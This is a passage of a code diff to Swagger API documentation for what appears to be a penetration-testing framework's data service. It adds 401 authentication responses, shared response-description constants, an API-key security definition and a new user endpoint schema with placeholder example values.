key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
|
|
@ -36,8 +36,15 @@ module DbExportApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
|
|
@ -48,7 +48,7 @@ module EventApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Event
|
||||
|
@ -56,12 +56,19 @@ module EventApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -56,7 +56,7 @@ module ExploitApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Exploit
|
||||
|
@ -64,8 +64,15 @@ module ExploitApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
|
|
@ -113,8 +113,15 @@ module HostApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -160,7 +167,7 @@ module HostApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Host
|
||||
|
@ -168,8 +175,15 @@ module HostApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -195,8 +209,15 @@ module HostApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -228,8 +249,15 @@ module HostApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -262,12 +290,19 @@ module HostApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -61,8 +61,15 @@ module LoginApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -93,7 +100,7 @@ module LoginApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Login
|
||||
|
@ -101,8 +108,15 @@ module LoginApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -127,6 +141,14 @@ module LoginApiDoc
|
|||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -154,8 +176,15 @@ module LoginApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -180,7 +209,7 @@ module LoginApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Login
|
||||
|
@ -188,12 +217,19 @@ module LoginApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -57,8 +57,15 @@ module LootApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -89,7 +96,7 @@ module LootApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Loot
|
||||
|
@ -97,8 +104,15 @@ module LootApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -124,8 +138,15 @@ module LootApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -157,8 +178,15 @@ module LootApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -183,7 +211,7 @@ module LootApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Loot
|
||||
|
@ -191,12 +219,19 @@ module LootApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -167,8 +167,15 @@ module ModuleSearchApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
|
|
@ -18,8 +18,15 @@ module MsfApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
|
|
@ -29,8 +29,15 @@ module NmapApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
|
|
@ -49,8 +49,15 @@ module NoteApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -78,7 +85,7 @@ module NoteApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Note
|
||||
|
@ -86,8 +93,15 @@ module NoteApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -113,8 +127,15 @@ module NoteApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -146,8 +167,15 @@ module NoteApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -172,7 +200,7 @@ module NoteApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Note
|
||||
|
@ -180,12 +208,19 @@ module NoteApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -14,6 +14,13 @@ module RootApiDoc
|
|||
CODE_EXAMPLE = 500
|
||||
MESSAGE_DESC = 'A message describing the error that occurred.'
|
||||
MESSAGE_EXAMPLE = 'Undefined method \'empty?\' for nil:NilClass'
|
||||
AUTH_CODE_DESC = 'The authentication error code that was generated.'
|
||||
AUTH_CODE_EXAMPLE = 401
|
||||
AUTH_MESSAGE_DESC = 'A message describing the authentication error that occurred.'
|
||||
|
||||
DEFAULT_RESPONSE_200 = 'Successful operation.'
|
||||
DEFAULT_RESPONSE_401 = 'Authenticate to access this resource.'
|
||||
DEFAULT_RESPONSE_500 = 'An error occurred during the operation. See the message for more details.'
|
||||
|
||||
swagger_root do
|
||||
key :swagger, '2.0'
|
||||
|
@ -29,11 +36,22 @@ module RootApiDoc
|
|||
key :consumes, ['application/json']
|
||||
key :produces, ['application/json']
|
||||
|
||||
security_definition :api_key do
|
||||
key :type, :apiKey
|
||||
key :name, :Authorization
|
||||
key :in, :header
|
||||
end
|
||||
|
||||
security do
|
||||
key :api_key, []
|
||||
end
|
||||
|
||||
#################################
|
||||
#
|
||||
# Documentation Tags
|
||||
#
|
||||
#################################
|
||||
tag name: 'auth', description: 'Authorization operations.'
|
||||
tag name: 'credential', description: 'Credential operations.'
|
||||
tag name: 'db_export', description: 'Endpoint for generating and retrieving a database backup.'
|
||||
tag name: 'event', description: 'Event operations.'
|
||||
|
@ -48,6 +66,7 @@ module RootApiDoc
|
|||
tag name: 'service', description: 'Service operations.'
|
||||
tag name: 'session', description: 'Session operations.'
|
||||
tag name: 'session_event', description: 'Session Event operations.'
|
||||
tag name: 'user', description: 'User operations.'
|
||||
tag name: 'vuln', description: 'Vuln operations.'
|
||||
tag name: 'vuln_attempt', description: 'Vuln Attempt operations.'
|
||||
tag name: 'workspace', description: 'Workspace operations.'
|
||||
|
@ -127,4 +146,21 @@ module RootApiDoc
|
|||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
swagger_schema :AuthErrorModel do
|
||||
key :required, [:message]
|
||||
property :error do
|
||||
property :code do
|
||||
key :type, :int32
|
||||
key :description, AUTH_CODE_DESC
|
||||
key :example, AUTH_CODE_EXAMPLE
|
||||
end
|
||||
property :message do
|
||||
key :type, :string
|
||||
key :description, AUTH_MESSAGE_DESC
|
||||
key :example, DEFAULT_RESPONSE_401
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -50,8 +50,15 @@ module ServiceApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -80,7 +87,7 @@ module ServiceApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Service
|
||||
|
@ -88,8 +95,15 @@ module ServiceApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -115,8 +129,15 @@ module ServiceApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -149,8 +170,15 @@ module ServiceApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -175,7 +203,7 @@ module ServiceApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :Service
|
||||
|
@ -183,12 +211,19 @@ module ServiceApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -41,8 +41,15 @@ module SessionApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -69,7 +76,7 @@ module SessionApiDoc
|
|||
# end
|
||||
#
|
||||
# response 200 do
|
||||
# key :description, 'Successful operation.'
|
||||
# key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
# schema do
|
||||
# key :type, :object
|
||||
# key :'$ref', :Session
|
||||
|
@ -102,8 +109,15 @@ module SessionApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
|
|
@ -44,8 +44,15 @@ module SessionEventApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -73,7 +80,7 @@ module SessionEventApiDoc
|
|||
end
|
||||
|
||||
response 200 do
|
||||
key :description, 'Successful operation.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_200
|
||||
schema do
|
||||
property :data do
|
||||
key :'$ref', :SessionEvent
|
||||
|
@ -81,8 +88,15 @@ module SessionEventApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
@ -114,8 +128,15 @@ module SessionEventApiDoc
|
|||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, 'An error occurred during the operation. See the message for more details.'
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
|
|
|
@ -0,0 +1,129 @@
|
|||
require 'swagger/blocks'
|
||||
|
||||
module UserApiDoc
|
||||
include Swagger::Blocks
|
||||
|
||||
USERNAME_DESC = 'The username of the user.'
|
||||
USERNAME_EXAMPLE = 'bmoose'
|
||||
PASSWORD_DESC = 'The password of the user.'
|
||||
PASSWORD_EXAMPLE = 'pass123'
|
||||
CRYPTED_PASSWORD_DESC = 'The encrypted password of the user.'
|
||||
CRYPTED_PASSWORD_EXAMPLE = '$2a$10$ZOmd0VVkcVLTKW/0Cw0BMeqVITeVN4tPQvRvwBizNyM1NIz45oxda'
|
||||
PASSWORD_SALT_DESC = 'The password salt for the user\'s password.'
|
||||
PERSISTENCE_TOKEN_DESC = 'The persistence token for the user.'
|
||||
PERSISTENCE_TOKEN_EXAMPLE = '1a6347561b72aff163b4c1b8324cfdf9ccca37caa681e29d348677afe0cb56927e2e3ab4dc612723'
|
||||
FULLNAME_DESC = 'The user\'s full name.'
|
||||
FULLNAME_EXAMPLE = 'Bullwinkle J. Moose'
|
||||
EMAIL_DESC = 'The user\'s email address.'
|
||||
EMAIL_EXAMPLE = 'bullwinkle_moose@rapid7.com'
|
||||
PHONE_DESC = 'The user\'s phone number.'
|
||||
PHONE_EXAMPLE = '555-555-5555'
|
||||
COMPANY_DESC = 'The user\'s company.'
|
||||
COMPANY_EXAMPLE = 'Rapid7'
|
||||
PREFS_DESC = 'The user\'s preferences.'
|
||||
PREFS_EXAMPLE = {}
|
||||
ADMIN_DESC = 'A boolean indicating whether the user is an admin.'
|
||||
ADMIN_EXAMPLE = false
|
||||
|
||||
|
||||
# Swagger documentation for User model
|
||||
swagger_schema :User do
|
||||
key :required, [:username, :password]
|
||||
property :id, type: :integer, format: :int32, description: RootApiDoc::ID_DESC
|
||||
property :username, type: :string, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :crypted_password, type: :string, description: CRYPTED_PASSWORD_DESC, example: CRYPTED_PASSWORD_EXAMPLE
|
||||
property :password_salt, type: :string, description: PASSWORD_SALT_DESC
|
||||
property :persistence_token, type: :string, description: PERSISTENCE_TOKEN_DESC, example: PERSISTENCE_TOKEN_EXAMPLE
|
||||
property :created_at, type: :string, description: RootApiDoc::CREATED_AT_DESC
|
||||
property :updated_at, type: :string, description: RootApiDoc::UPDATED_AT_DESC
|
||||
property :fullname, type: :string, description: FULLNAME_DESC, example: FULLNAME_EXAMPLE
|
||||
property :email, type: :string, description: EMAIL_DESC, example: EMAIL_EXAMPLE
|
||||
property :phone, type: :string, description: PHONE_DESC, example: PHONE_EXAMPLE
|
||||
property :company, type: :string, description: COMPANY_DESC, example: COMPANY_EXAMPLE
|
||||
property :prefs, type: :string, description: PREFS_DESC, example: PREFS_EXAMPLE
|
||||
property :admin, type: :string, description: ADMIN_DESC, example: ADMIN_EXAMPLE
|
||||
end
|
||||
|
||||
swagger_path '/api/v1/users' do
|
||||
# Swagger documentation for /api/v1/users GET
|
||||
operation :get do
|
||||
key :description, 'Return users that are stored in the database.'
|
||||
key :tags, [ 'user' ]
|
||||
|
||||
response 200 do
|
||||
key :description, 'Returns user data.'
|
||||
schema do
|
||||
property :data do
|
||||
key :type, :array
|
||||
items do
|
||||
key :'$ref', :User
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
response 401 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_401
|
||||
schema do
|
||||
key :'$ref', :AuthErrorModel
|
||||
end
|
||||
end
|
||||
|
||||
response 500 do
|
||||
key :description, RootApiDoc::DEFAULT_RESPONSE_500
|
||||
schema do
|
||||
key :'$ref', :ErrorModel
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Swagger documentation for /api/v1/users GET
|
||||
operation :post do
|
||||
key :description, 'Create a user.'
|
||||
key :tags, [ 'user' ]
|
||||
|
||||
parameter do
|
||||
key :in, :body
|
||||
key :name, :body
|
||||
key :description, 'The attributes to assign to the user.'
|
||||
key :required, true
|
||||
schema do
|
||||
property :username, type: :string, required: true, description: USERNAME_DESC, example: USERNAME_EXAMPLE
|
||||
property :password, type: :string, required: true, description: PASSWORD_DESC, example: PASSWORD_EXAMPLE
|
||||
property :fullname, type: :string, description: FULLNAME_DESC, example: FULLNAME_EXAMPLE
|
||||
property :email, type: :string, description: EMAIL_DESC, example: EMAIL_EXAMPLE
|
||||
property :phone, type: :string, description: PHONE_DESC, example: PHONE_EXAMPLE
|
||||
property :company, type: :string, description: COMPANY_DESC, example: COMPANY_EXAMPLE
|
||||
property :prefs, type: :string, description: PREFS_DESC, example: PREFS_EXAMPLE
|
||||
end
|
||||
end
|
||||
|
